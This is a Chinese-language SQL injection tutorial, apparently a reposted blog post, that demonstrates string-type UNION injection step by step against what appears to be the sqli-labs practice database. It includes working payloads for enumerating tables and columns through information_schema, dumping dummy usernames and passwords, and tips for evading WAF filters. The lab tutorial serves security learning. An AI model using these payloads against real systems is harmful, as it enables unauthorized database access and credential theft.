sql注入基础-第二部分union字符型注入

#前提

首先我们在做任何一个注入 的时候第一点做的就是判断他是字符型的还是数字型的,他如果是数字型的话你就不需要关心她的闭合方式了

 现在这里我们已经判断出了她的闭合方式是使用 ' 单引号进行闭合的,确定她的闭合方式之后我们直接使用--+把后面的内容直接注释掉

因为我们在闭合的时候自己多打了一个'  单引号,导致她后面还有一个自带的单引号,所以我们就要使使用--+把后面的单引号注释掉,不让她报错,影响我们的注入测试

然后在中间的部分使用sql语句进行测试查询 

#流程 

1.寻找注入点

2.判断字符型还是数字型 (and 1=1 and 1=2  或者3-1)

3.判断闭合方式 (     '    ')        "       ")   )

4.确定字段数  (group by  order by)

5.确定显示的字段数 (-1 union select 1,2,3.....)

6.确定数据库名  (Databases())

7.确定查询的数据表名(table_name information_schema.tables)

8.获取字段(列)(column_name information_schema.columns)

9.脱库

补充:数字型注入的话直接跳过判断闭合方式那一步。

演示案例:

 1.寻找注入点

 2.判断字符型数字型

原界面

name:stupid

 

进行5-1

name:stupid

界面还是一样的,确定是字符型 

 3.确定闭合方式

进行' ') ") " 的测试,哪个界面返回错误就把返回的语句拿出来,在做进一步判断

这里加了 '  返回的错误

 

去除她属于语句输出自带的单引号

 

红色部分为我们输入的内容

她原来的闭合方式就是 ' '

确定她是使用 ' ' 进行闭合 

4.确定字段数

查询字段:

group by

oder by 

注:建议使用group by 因为oder by 经常被waf软件过滤掉。但是如果使用group by的时候出现一些错误的时候就使用 oder by 进行查询

由于'是我们使用闭合的,就要在后面使用--+把她自带的'去除掉

中间使用group by 进行查询字段

 查询到4的时候报错

查询3,页面正常

确定字段数3 

 5.确定界面显示的字段

-5 ' Union Select 1,2,3 --+

确定页面显示字段

2,3 

6.确定数据库名

database():正在使用的数据库

-5' union select 1,database(),3 --+

确定数据库名 

security

7.查询security数据库所有表名

 -5' union select 1,2,Group_concat(table_name) from 
 information_schema.tables where table_schema=database() --+

或者

 -5' union select 1,2,Group_concat(table_name) from  
information_schema.tables where table_schema='security'

第一种比较好绕过waf

 右键->查看 页面源代码

security数据库的所有数据表为以下

emails,

referers,

uagents,

users

8.获取字段(查询users表中的所有字段)

 -5' union select 1,2,Group_concat(column_name) from 
 information_schema.columns where table_schema=database() and table_name='users' --+

或者

 -5' union select 1,2,Group_concat(column_name) from 
 information_schema.columns where table_schema='security' and table_name='users' --+

以下为字段

 id,

username,

password

9.脱库

-5' union select 1,2,group_concat(username,'--',password) from security.users --+

 

Dumb--Dumb,

Angelina--I-kill-you,

Dummy--p@ssword,

secure--crappy,

stupid--stupidity,

superman--genious,

batman--mob!le,

admin--admin,

admin1--admin1,

admin2--admin2,

admin3--admin3,

dhakkan--dumbo,

admin4--admin4

以上为所有数据库的用户和密码信息

注:其实我个人觉得使用hex查询出的数据更全点......因为上次做了一个实验使用group_concat(table_name)获取表名没有获取的特多的表名信息出来,但是hex(group_concat(table_name))获取的更多....看个人吧 我还是喜欢hex

猜你喜欢

转载自blog.csdn.net/m0_72755466/article/details/129761763
今日推荐